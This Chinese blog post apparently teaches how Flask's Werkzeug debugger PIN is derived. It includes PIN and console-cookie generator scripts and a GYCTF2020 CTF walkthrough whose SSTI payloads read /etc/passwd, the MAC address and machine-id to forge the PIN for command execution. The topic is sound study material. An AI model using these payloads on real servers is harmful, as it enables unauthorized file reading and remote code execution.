[{"data":1,"prerenderedAt":393},["ShallowReactive",2],{"content:\u002F2026\u002Fpython-pin":3,"surround:\u002F2026\u002Fpython-pin":382},{"id":4,"title":5,"body":6,"categories":359,"date":361,"description":362,"draft":363,"extension":364,"image":365,"meta":366,"navigation":368,"path":369,"permalink":370,"published":370,"readingTime":371,"recommend":370,"references":370,"seo":376,"sitemap":377,"stem":378,"tags":379,"type":380,"updated":361,"__hash__":381},"content\u002Fposts\u002F2026\u002FPython PIN 码.md","Python PIN 码",{"type":7,"value":8,"toc":345},"minimark",[9,14,27,30,33,44,47,55,62,66,69,183,194,200,203,208,214,218,224,227,234,240,247,255,262,265,268,274,277,283,290,296,302,305,308,314,321,324,330,333,336,342],[10,11,13],"h2",{"id":12},"pin-码","PIN  码",[15,16,17,18,22,23,26],"p",{},"Flask 里的 ",[19,20,21],"strong",{},"PIN"," 指的是：",[19,24,25],{},"Debugger PIN（调试器密码）","，当 Flask 开启 Debug 模式后，可以通过 PIN 码的方式进入调试模式，运行命令 。",[10,28,29],{"id":29},"环境搭建",[15,31,32],{},"启动一个 Flask 项目，注意要开启 debug 。",[34,35,41],"pre",{"className":36,"code":38,"language":39,"meta":40},[37],"language-python","from flask import Flask\n\napp = Flask(__name__)\n\n@app.route('\u002F')\ndef hello_world():  # put application's code here\n    return 'Hello World!'\n\nif __name__ == '__main__':\n    app.run(debug=True)\n\n","python","",[42,43,38],"code",{"__ignoreMap":40},[15,45,46],{},"可以在终端看到 PIN 码。",[34,48,53],{"className":49,"code":51,"language":52},[50],"language-text"," * Restarting with stat\n * Debugger is active!\n * Debugger PIN: 454-810-314\n\n","text",[42,54,51],{"__ignoreMap":40},[15,56,57,58,61],{},"然后访问 ",[42,59,60],{"code":60},"http:\u002F\u002F127.0.0.1:5000\u002Fconsole"," 。",[10,63,65],{"id":64},"pin-码计算","PIN  码计算",[15,67,68],{},"PIN 由 6 个参数计算出来。",[70,71,72,87,101,114,124,138],"ol",{},[73,74,75,78,79,82,83,86],"li",{},[42,76,77],{"code":77},"username","  运行该Flask程序的用户名，通过 ",[42,80,81],{"code":81},"\u002Fetc\u002Fpasswd"," 或者 ",[42,84,85],{"code":85},"getpass.getuser()"," 读取。",[73,88,89,92,93,96,97,100],{},[42,90,91],{"code":91},"modname","  模块名，通过",[42,94,95],{"code":95},"getattr(app, \"__module__\", t.cast(object, app).__class__.__module__)","读取，默认是",[42,98,99],{"code":99},"flask.app","。",[73,102,103,106,107,110,111,61],{},[42,104,105],{"code":105},"appname","  app名，通过",[42,108,109],{"code":109},"getattr(app, \"__name__\", type(app).__name__)"," 读取，默认是 ",[42,112,113],{"code":113},"Flask",[73,115,116,119,120,123],{},[42,117,118],{"code":118},"moddir","  文件路径，通过",[42,121,122],{"code":122},"getattr(mod, \"__file__\", None)"," 读取，一般可以通过查看 debug 报错信息获得，Python3是 app.py，Python2 中是 app.pyc 。",[73,125,126,129,130,133,134,137],{},[42,127,128],{"code":128},"uuid","  电脑 mac 地址的十进制数，通过",[42,131,132],{"code":132},"uuid.getnode()","读取，通过文件",[42,135,136],{"code":136},"\u002Fsys\u002Fclass\u002Fnet\u002Feth0\u002Faddress","得到16进制结果，去掉 : 转化为10进制数。",[73,139,140,143,144,147,148,151,152,155,156,159,160,163,164,167,168,171,172,175,176,179,180,61],{},[42,141,142],{"code":142},"machine_id","  首先读取 ",[42,145,146],{"code":146},"\u002Fetc\u002Fmachine-id","，如果有值就停止 ，否则读取",[42,149,150],{"code":150},"\u002Fproc\u002Fsys\u002Fkernel\u002Frandom\u002Fboot_id","，接着读取 ",[42,153,154],{"code":154},"\u002Fproc\u002Fself\u002Fcgroup","，取第一行的最后一个斜杠 ",[42,157,158],{"code":158},"\u002F"," 后面的字符串，与上面的拼接起来。",[42,161,162],{"code":162},"self"," 过滤可以用相关进程的 ",[42,165,166],{"code":166},"pid"," 去替换，其实",[42,169,170],{"code":170},"1","就行。",[42,173,174],{"code":174},"cgroup","过滤可以考虑",[42,177,178],{"code":178},"mountinfo","或者",[42,181,182],{"code":182},"cpuset",[15,184,185,186,189,190,193],{},"源码在",[42,187,188],{"code":188},"werkzeug\u002Fdebug\u002F__init__.py","，我们去看下相应的代码。前四个参数通过",[42,191,192],{"code":192},"get_pin_and_cookie_name"," 获得。",[34,195,198],{"className":196,"code":197,"language":39,"meta":40},[37],"def get_pin_and_cookie_name(\n    app: WSGIApplication,\n) -> tuple[str, str] | tuple[None, None]:\n    \n    pin = os.environ.get(\"WERKZEUG_DEBUG_PIN\")\n    rv = None\n    num = None\n\n   \n    if pin == \"off\":\n        return None, None\n\n    \n    if pin is not None and pin.replace(\"-\", \"\").isdecimal():\n        \n        if \"-\" in pin:\n            rv = pin\n        else:\n            num = pin\n\n    modname = getattr(app, \"__module__\", t.cast(object, app).__class__.__module__)\n    # 获取modname\n    username: str | None\n\n    try:\n       \n        username = getpass.getuser()               # 获取username\n   \n    except (ImportError, KeyError, OSError):\n        username = None\n\n    mod = sys.modules.get(modname)\n\n    \n    probably_public_bits = [\n        username,\n        modname,\n        getattr(app, \"__name__\", type(app).__name__),   # 获取appname\n        getattr(mod, \"__file__\", None),                 # 获取moddir\n    ]\n\n    \n    private_bits = [str(uuid.getnode()), get_machine_id()]\n\n    h = hashlib.sha1()\n    for bit in chain(probably_public_bits, private_bits):\n        if not bit:\n            continue\n        if isinstance(bit, str):\n            bit = bit.encode()\n        h.update(bit)\n    h.update(b\"cookiesalt\")\n\n    cookie_name = f\"__wzd{h.hexdigest()[:20]}\"\n\n    \n    if num is None:\n        h.update(b\"pinsalt\")\n        num = f\"{int(h.hexdigest(), 16):09d}\"[:9]\n\n    \n    if rv is None:\n        for group_size in 5, 4, 3:\n            if len(num) % group_size == 0:\n                rv = \"-\".join(\n                    num[x : x + group_size].rjust(group_size, \"0\")\n                    for x in range(0, len(num), group_size)\n                )\n                break\n        else:\n            rv = num\n\n    return rv, cookie_name\n\n",[42,199,197],{"__ignoreMap":40},[15,201,202],{},"PIN 码计算和 Werkzeug 的版本有关，这里有大佬写的两个版本的pin码计算脚本。",[204,205,207],"h3",{"id":206},"werkzeug-10x","werkzeug  1.0.x",[34,209,212],{"className":210,"code":211,"language":39,"meta":40},[37],"import hashlib\nfrom itertools import chain\n\nprobably_public_bits = [\n    ''#username，通过\u002Fetc\u002Fpasswd\n    '',#modname，默认值\n    '',# 默认值\n    ''# moddir，通过报错获得\n]\n\nprivate_bits = [\n    '',  # mac十进制值 \u002Fsys\u002Fclass\u002Fnet\u002Fens0\u002Faddress\n    ''  # 低版本直接\u002Fetc\u002Fmachine-id\n]\n\n# 下面为源码里面抄的，不需要修改\nh = hashlib.md5()\nfor bit in chain(probably_public_bits, private_bits):\n    if not bit:\n        continue\n    if isinstance(bit, str):\n        bit = bit.encode('utf-8')\n    h.update(bit)\nh.update(b'cookiesalt')\n\ncookie_name = '__wzd' + h.hexdigest()[:20]\n\nnum = None\nif num is None:\n    h.update(b'pinsalt')\n    num = ('%09d' % int(h.hexdigest(), 16))[:9]\n\nrv = None\nif rv is None:\n    for group_size in 5, 4, 3:\n        if len(num) % group_size == 0:\n            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')\n                          for x in range(0, len(num), group_size))\n            break\n        else:\n            rv = num\n\nprint(rv)\n\n",[42,213,211],{"__ignoreMap":40},[204,215,217],{"id":216},"werkzeug-20x","werkzeug  >=  2.0.x",[34,219,222],{"className":220,"code":221,"language":39,"meta":40},[37],"import hashlib\nfrom itertools import chain\n\n# 可能是公开的信息部分\nprobably_public_bits = [\n    '',  # \u002Fetc\u002Fpasswd\n    '',  # 默认值\n    '',  # 默认值\n    ''  # moddir，报错得到\n]\n\n# 私有信息部分\nprivate_bits = [\n    '',  # \u002Fsys\u002Fclass\u002Fnet\u002Feth0\u002Faddress 十进制\n    ''   # machine-id部分\n]\n\n# 创建哈希对象\nh = hashlib.sha1()\n\n# 迭代可能公开和私有的信息进行哈希计算\nfor bit in chain(probably_public_bits, private_bits):\n    if not bit:\n        continue\n    if isinstance(bit, str):\n        bit = bit.encode('utf-8')\n    h.update(bit)\n\n# 加盐处理\nh.update(b'cookiesalt')\n\n# 生成 cookie 名称\ncookie_name = '__wzd' + h.hexdigest()[:20]\nprint(cookie_name)\n\n# 生成 pin 码\nnum = None\nif num is None:\n    h.update(b'pinsalt')\n    num = ('%09d' % int(h.hexdigest(), 16))[:9]\n\n# 格式化 pin 码\nrv = None\nif rv is None:\n    for group_size in 5, 4, 3:\n        if len(num) % group_size == 0:\n            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')\n                          for x in range(0, len(num), group_size))\n            break\n    else:\n        rv = num\n\nprint(rv)\n\n\n",[42,223,221],{"__ignoreMap":40},[204,225,226],{"id":226},"cookie",[15,228,229,230,233],{},"有的题目可能还要拿到 cookie 才能进入 console ，有师傅分析了这个流程，给个链接",[42,231,232],{"code":232},"https:\u002F\u002Fwww.cnblogs.com\u002Fm1xian\u002Fp\u002F18528813","，只要知道 Pin 就能算出来。",[34,235,238],{"className":236,"code":237,"language":39,"meta":40},[37],"import hashlib\nimport time\n\n\n# A week\nPIN_TIME = 60 * 60 * 24 * 7\n\n\ndef hash_pin(pin: str) -> str:\n    return hashlib.sha1(f\"{pin} added salt\".encode(\"utf-8\", \"replace\")).hexdigest()[:12]\n\n\nprint(f\"{int(time.time()+10000+60 * 60 * 24 * 7)}|{hash_pin('xxx-xxx-xxx')}\")\n\n",[42,239,237],{"__ignoreMap":40},[15,241,242,243,246],{},"注意",[19,244,245],{},"Werkzeug > 3.0.3版本","时，仅支持回环地址或 localhost ，正常访问\u002Fconsole会返回400，Host 改为回环地址或者localhost 就可以访问了。",[10,248,250,254],{"id":249},"gyctf2020flaskapp",[251,252,253],"span",{},"GYCTF2020","FlaskApp",[15,256,257,258,261],{},"BUUCTF 有这道题，进入环境有三个功能，加密、解密、提示，提示里面有 PIN ，是 PIN 码相关的。访问",[42,259,260],{"code":260},"\u002Fconsole"," 发现确实开了 debug ，那下面就去算 PIN 。",[15,263,264],{},"加密功能发现不管输入啥都直接返回 base64 后的，不能 SSTI ，想到可不可以把加密后的给解密，然后注入。",[15,266,267],{},"这道题可以用 PIN 的做，但是有过滤，先跑一下过滤了啥。",[34,269,272],{"className":270,"code":271,"language":39,"meta":40},[37],"import requests\nimport base64\n\n\nurl = \"https:\u002F\u002F7611fe28b1d11ee111a1384f.http-ctf2.dasctf.com\u002Fdecode\"\n\n\ntests = [\n    \"{{7*7}}\",\n    \"__class__\",\n    \"__base__\",\n    \"__mro__\",\n    \"__subclasses__\",\n    \"__globals__\",\n    \"popen\",\n    \"os\",\n    \"import\",\n    \"eval\",\n    \"builtins\",\n    \"cat\",\n    \"\u002Fflag\",\n    \"self\",\n    \"session\",\n    \"lipsum\",\n    \"cycler\",\n    \"namespace\",\n    \"Joiner\",\n    \"get_flashed_messages\",\n    \"system\"\n]\n\n\ndef b64_encode(s):\n    return base64.b64encode(\n        s.encode()\n    ).decode()\n\n\ndef check(keyword):\n\n    payload = \"{{\" + keyword + \"}}\"\n\n    # base64\n    enc = b64_encode(payload)\n\n    data = {\n        \"text\": enc\n    }\n\n\n    try:\n        r = requests.post(\n            url,\n            data=data,\n            timeout=5\n        )\n\n        resp = r.text\n\n\n        print(\"=\"*50)\n        print(\"测试:\", keyword)\n        print(\"payload:\", payload)\n        print(\"base64:\", enc)\n\n\n        if \"no\" in resp.lower():\n            print(\"[-] 被过滤\")\n\n        else:\n            print(\"[+] 未触发过滤\")\n\n\n        print(\"响应:\")\n        print(resp[:100])\n\n\n    except Exception as e:\n        print(e)\n\n\n\nfor t in tests:\n    check(t)\n   \n",[42,273,271],{"__ignoreMap":40},[15,275,276],{},"结果在下面：",[34,278,281],{"className":279,"code":280,"language":39,"meta":40},[37],"system\nself\nflag\neval\nimport\nos\npopen\n{{7*7}}\n",[42,282,280],{"__ignoreMap":40},[15,284,285,286,289],{},"然后可以用 PIN 做，解密随便输入点看下报错，路径有了",[42,287,288],{"code":288},"\u002Fusr\u002Flocal\u002Flib\u002Fpython3.7\u002Fsite-packages\u002Fflask\u002Fapp.py","，",[15,291,292,293,100],{},"然后看 username ，这里有一个师傅的更牛的 payload ，链接",[42,294,295],{"code":295},"[ssti进阶({%%}控制语句,内存马) - 落山机糊人 - 博客园](https:\u002F\u002Fwww.cnblogs.com\u002Flx207\u002Farticles\u002F19322753)",[34,297,300],{"className":298,"code":299,"language":39,"meta":40},[37],"{% for x in {}.__class__.__base__.__subclasses__() %}\n\t{% if \"warning\" in x.__name__ %}\n\t\t{{x.__init__.__globals__['__builtins__'].open('\u002Fetc\u002Fpasswd').read() }}\n\t{%endif%}\n{%endfor%}\n",[42,301,299],{"__ignoreMap":40},[15,303,304],{},"是 flaskweb 。",[15,306,307],{},"看 mac 地址。",[34,309,312],{"className":310,"code":311,"language":39,"meta":40},[37],"{% for x in {}.__class__.__base__.__subclasses__() %}\n\t{% if \"warning\" in x.__name__ %}\n\t\t{{x.__init__.__globals__['__builtins__'].open('\u002Fsys\u002Fclass\u002Fnet\u002Feth0\u002Faddress').read() }}\n\t{%endif%}\n{%endfor%}\n",[42,313,311],{"__ignoreMap":40},[15,315,316,317,320],{},"是 32:22:b3:04:b3:5f ，转十进制，",[42,318,319],{"code":319},"int('3226cd628848',16)","，是 55142235932744。",[15,322,323],{},"看 machine_id 。",[34,325,328],{"className":326,"code":327,"language":39,"meta":40},[37],"{% for x in {}.__class__.__base__.__subclasses__() %}\n\t{% if \"warning\" in x.__name__ %}\n\t\t{{x.__init__.__globals__['__builtins__'].open('\u002Fetc\u002Fmachine-id').read() }}\n\t{%endif%}\n{%endfor%}\n",[42,329,327],{"__ignoreMap":40},[15,331,332],{},"是 1408f836b0ca514d796cbf8960e45fa1 。",[15,334,335],{},"跑一下 PIN 。",[34,337,340],{"className":338,"code":339,"language":39,"meta":40},[37],"import hashlib\nfrom itertools import chain\nprobably_public_bits = [\n    'flaskweb'# username\n    'flask.app',# modname\n    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))\n    '\u002Fusr\u002Flocal\u002Flib\u002Fpython3.7\u002Fsite-packages\u002Fflask\u002Fapp.py' # getattr(mod, '__file__', None),\n]\n\nprivate_bits = [\n    '55142235932744',# str(uuid.getnode()),  \u002Fsys\u002Fclass\u002Fnet\u002Feth0\u002Faddress\n    '1408f836b0ca514d796cbf8960e45fa1'# get_machine_id(), \u002Fetc\u002Fmachine-id\n]\n\nh = hashlib.md5()\nfor bit in chain(probably_public_bits, private_bits):\n    if not bit:\n        continue\n    if isinstance(bit, str):\n        bit = bit.encode('utf-8')\n    h.update(bit)\nh.update(b'cookiesalt')\n\ncookie_name = '__wzd' + h.hexdigest()[:20]\n\nnum = None\nif num is None:\n    h.update(b'pinsalt')\n    num = ('%09d' % int(h.hexdigest(), 16))[:9]\n\nrv =None\nif rv is None:\n    for group_size in 5, 4, 3:\n        if len(num) % group_size == 0:\n            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')\n                          for x in range(0, len(num), group_size))\n            break\n    else:\n        rv = num\n\nprint(rv)\n\n\n",[42,341,339],{"__ignoreMap":40},[15,343,344],{},"得到 154-227-144 ，进入 console，命令执行就行。当然，拿到过滤信息也可以直接构造绕过，这里不再放 payload 。",{"title":40,"searchDepth":346,"depth":346,"links":347},4,[348,350,351,357],{"id":12,"depth":349,"text":13},2,{"id":29,"depth":349,"text":29},{"id":64,"depth":349,"text":65,"children":352},[353,355,356],{"id":206,"depth":354,"text":207},3,{"id":216,"depth":354,"text":217},{"id":226,"depth":354,"text":226},{"id":249,"depth":349,"text":358},"GYCTF2020FlaskApp",[360],"技术","2026-07-22 23:03:04","学习一下PIN码",false,"md","\u002F2026\u002FPython PIN 码\u002Fcover.jpg",{"slots":367},{},true,"\u002F2026\u002Fpython-pin",null,{"text":372,"minutes":373,"time":374,"words":375},"8 min read",7.215,432900,1443,{"title":5,"description":362},{"loc":369},"posts\u002F2026\u002FPython PIN 码",[],"tech","jzD8DAx4V9g7fZUbPgMicu8X3OKFuW6yEBXun79ZgVM",[383,388],{"title":384,"path":385,"stem":386,"date":387,"type":380,"children":-1},"SSTI 漏洞","\u002F2026\u002Fssti","posts\u002F2026\u002FSSTI 漏洞","2026-07-14 08:48:45",{"title":389,"path":390,"stem":391,"date":392,"type":380,"children":-1},"Linux的proc文件系统","\u002F2026\u002Flinuxproc","posts\u002F2026\u002FLinux的proc文件系统","2026-07-30 11:11:31",1786110316741]